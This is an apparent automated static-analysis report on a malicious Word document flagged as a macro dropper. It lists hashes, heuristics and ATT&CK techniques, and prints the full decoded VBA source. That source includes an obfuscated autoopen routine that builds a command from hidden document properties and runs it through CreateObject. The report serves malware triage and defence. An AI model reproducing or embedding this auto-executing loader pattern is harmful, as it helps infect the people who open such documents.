Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6dc6070451995a7d…

MALICIOUS

Office (OLE)

58.0 KB Created: 2017-08-02 13:38:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: ab210c06ffac47325abc1dacebbd2a43 SHA-1: 8f3c1518b12636a937f0afb28040511dec05858f SHA-256: 6dc6070451995a7dae4d5b741e291ce525aec2cf3144d9fdb8484f39079ef9e2
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an autoopen subroutine. Heuristics indicate the use of CreateObject and obfuscation, suggesting the macro's purpose is to download and execute a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6335671-0' further supports its role as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
CreateObject(KxaaBZKxaaBZKxaaBZKxaaBZKxaaBZ + Mid(ActiveDocument.CustomDocumentProperties("ljeBGpwbnD"), 5)).Run$ XpXXpXXpXXpXXpX, 0
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub autoopen()
knxYAknxYAknxYAknxYAknxYA
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5818 bytes
SHA-256: 38d5125b7a441f32f2c8dca53694a15dc6150497dda5b3f0c488a1da33e57fd6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
40 of 79 identifiers look randomly generated (e.g. 'FSYKDMFSYKDMFSYKDMFSYKDMFSYKDM') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
knxYAknxYAknxYAknxYAknxYA
End Sub
Function EguABTEguABTEguABTEguABTEguABT(ByVal aGkTaaGkTaaGkTaaGkTaaGkTa As String, ByVal mdRNAmdRNAmdRNAmdRNAmdRNA As Variant) As Boolean
For Each YUAYUAYUAYUAYUA In mdRNAmdRNAmdRNAmdRNAmdRNA
    If YUAYUAYUAYUAYUA = aGkTaaGkTaaGkTaaGkTaaGkTa Then
        EguABTEguABTEguABTEguABTEguABT = True
        Exit Function
    End If
Next YUAYUAYUAYUAYUA
End Function
 Function mKLhEMmKLhEMmKLhEMmKLhEMmKLhEM(ByVal TWxHTWxHTWxHTWxHTWxH As String, ByVal SntkSntkSntkSntkSntk As Variant) As Boolean
For Each SXeSXeSXeSXeSXe In SntkSntkSntkSntkSntk
    If SXeSXeSXeSXeSXe = TWxHTWxHTWxHTWxHTWxH Then
        mKLhEMmKLhEMmKLhEMmKLhEMmKLhEM = True
        Exit Function
    End If
Next SXeSXeSXeSXeSXe
End Function
 Function bEtbEtbEtbEtbEt(ByVal xURtwPxURtwPxURtwPxURtwPxURtwP As String, ByVal DUrDUrDUrDUrDUr As Variant) As Boolean
For Each SefHSefHSefHSefHSefH In DUrDUrDUrDUrDUr
    If SefHSefHSefHSefHSefH = xURtwPxURtwPxURtwPxURtwPxURtwP Then
        bEtbEtbEtbEtbEt = True
        Exit Function
    End If
Next SefHSefHSefHSefHSefH
End Function
 Function ggvnggvnggvnggvnggvn(ByVal xbFyxbFyxbFyxbFyxbFy As String, ByVal CUAesCUAesCUAesCUAesCUAes As Variant) As Boolean
For Each fVzcffVzcffVzcffVzcffVzcf In CUAesCUAesCUAesCUAesCUAes
    If fVzcffVzcffVzcffVzcffVzcf = xbFyxbFyxbFyxbFyxbFy Then
        ggvnggvnggvnggvnggvn = True
        Exit Function
    End If
Next fVzcffVzcffVzcffVzcffVzcf
End Function
 Function ewYewYewYewYewY(ByVal spuSspuSspuSspuSspuS As String, ByVal bGunbGunbGunbGunbGun As Variant) As Boolean
For Each aZvaUyaZvaUyaZvaUyaZvaUyaZvaUy In bGunbGunbGunbGunbGun
    If aZvaUyaZvaUyaZvaUyaZvaUyaZvaUy = spuSspuSspuSspuSspuS Then
        ewYewYewYewYewY = True
        Exit Function
    End If
Next aZvaUyaZvaUyaZvaUyaZvaUyaZvaUy
End Function

Public Function knxYAknxYAknxYAknxYAknxYA()
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
FCFFCFFCFFCFFCF = ActiveDocument.BuiltInDocumentProperties("Comments")
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
ctBtectBtectBtectBtectBte = Mid(ActiveDocument.CustomDocumentProperties("IMcLfFpYZr"), 5) + Mid(ActiveDocument.CustomDocumentProperties("QUoWFNOyJe"), 5)
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
XpXXpXXpXXpXXpX = ctBtectBtectBtectBtectBte + Mid(ActiveDocument.CustomDocumentProperties("ljeBGpwbnD"), 5) + Mid(ActiveDocument.CustomDocumentProperties("lpiLBkPgsH"), 5) + FCFFCFFCFFCFFCF
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
KxaaBZKxaaBZKxaaBZKxaaBZKxaaBZ = Mid(ActiveDocument.CustomDocumentProperties("nIsoZvkRYG"), 5) + Mid(ActiveDocument.CustomDocumentProperties("BwAIqSlbZY"), 5)
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
CreateObject(KxaaBZKxaaBZKxaaBZKxaaBZKxaaBZ + Mid(ActiveDocument.CustomDocumentProperties("ljeBGpwbnD"), 5)).Run$ XpXXpXXpXXpXXpX, 0
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
LXWLXWLXWLXWLXW = "LXWLXWLXWLXWLXW"
End Function
Function SkWSbeSkWSbeSkWSbeSkWSbeSkWSbe(ByVal FSYKDMFSYKDMFSYKDMFSYKDMFSYKDM As String, ByVal mXCmXCmXCmXCmXC As Variant) As Boolean
For Each XPNcUmXPNcUmXPNcUmXPNcUmXPNcUm In mXCmXCmXCmXCmXC
    If XPNcUmXPNcUmXPNcUmXPNcUmXPNcUm = FSYKDMFSYKDMFSYKDMFSYKDMFSYKDM Then
        SkWSbeSkWSbeSkWSbeSkWSbeSkWSbe = True
        Exit Function
    End If
Next XPNcUmXPNcUmXPNcUmXPNcUmXPNcUm
End Function
 Function SWnBbSWnBbSWnBbSWnBbSWnBb(ByVal EdFuWAEdFuWAEdFuWAEdFuWAEdFuWA As String, ByVal FcgzFcgzFcgzFcgzFcgz As Variant) As Boolean
For Each REcxLREcxLREcxLREcxLREcxL In FcgzFcgzFcgzFcgzFcgz
    If REcxLREcxLREcxLREcxLREcxL = EdFuWAEdFuWAEdFuWAEdFuWAEdFuWA Then
        SWnBbSWnBbSWnBbSWnBbSWnBb = True
        Exit Function
    End If
Next REcxLREcxLREcxLREcxLREcxL
End Function
 Function SAFtYZSAFtYZSAFtYZSAFtYZSAFtYZ(ByVal UCreUCreUCreUCreUCre As String, ByVal AcprAcprAcprAcprAcpr As Variant) As Boolean
For Each tXbRVtXbRVtXbRVtXbRVtXbRV In AcprAcprAcprAcprAcpr
    If tXbRVtXbRVtXbRVtXbRVtXbRV = UCreUCreUCreUCreUCre Then
        SAFtYZSAFtYZSAFtYZSAFtYZSAFtYZ = True
        Exit Function
    End If
Next tXbRVtXbRVtXbRVtXbRVtXbRV
End Function
 Function rUnMsYrUnMsYrUnMsYrUnMsYrUnMsY(ByVal LvcLvcLvcLvcLvc As String, ByVal aVdxauaVdxauaVdxauaVdxauaVdxau As Variant) As Boolean
For Each BABfBABfBABfBABfBABf In aVdxauaVdxauaVdxauaVdxauaVdxau
    If BABfBABfBABfBABfBABf = LvcLvcLvcLvcLvc Then
        rUnMsYrUnMsYrUnMsYrUnMsYrUnMsY = True
        Exit Function
    End If
Next BABfBABfBABfBABfBABf
End Function
 Function DwXDwXDwXDwXDwX(ByVal aYKaMaYKaMaYKaMaYKaMaYKaM As String, ByVal HuztseHuztseHuztseHuztseHuztse As Variant) As Boolean
For Each dNduxdNduxdNduxdNduxdNdux In HuztseHuztseHuztseHuztseHuztse
    If dNduxdNduxdNduxdNduxdNdux = aYKaMaYKaMaYKaMaYKaMaYKaM Then
        DwXDwXDwXDwXDwX = True
        Exit Function
    End If
Next dNduxdNduxdNduxdNduxdNdux
End Function
 Function XcTgXcTgXcTgXcTgXcTg(ByVal LvVGTLvVGTLvVGTLvVGTLvVGT As String, ByVal nxcFvSnxcFvSnxcFvSnxcFvSnxcFvS As Variant) As Boolean
For Each ENGpKENGpKENGpKENGpKENGpK In nxcFvSnxcFvSnxcFvSnxcFvSnxcFvS
    If ENGpKENGpKENGpKENGpKENGpK = LvVGTLvVGTLvVGTLvVGTLvVGT Then
        XcTgXcTgXcTgXcTgXcTg = True
        Exit Function
    End If
Next ENGpKENGpKENGpKENGpKENGpK
End Function

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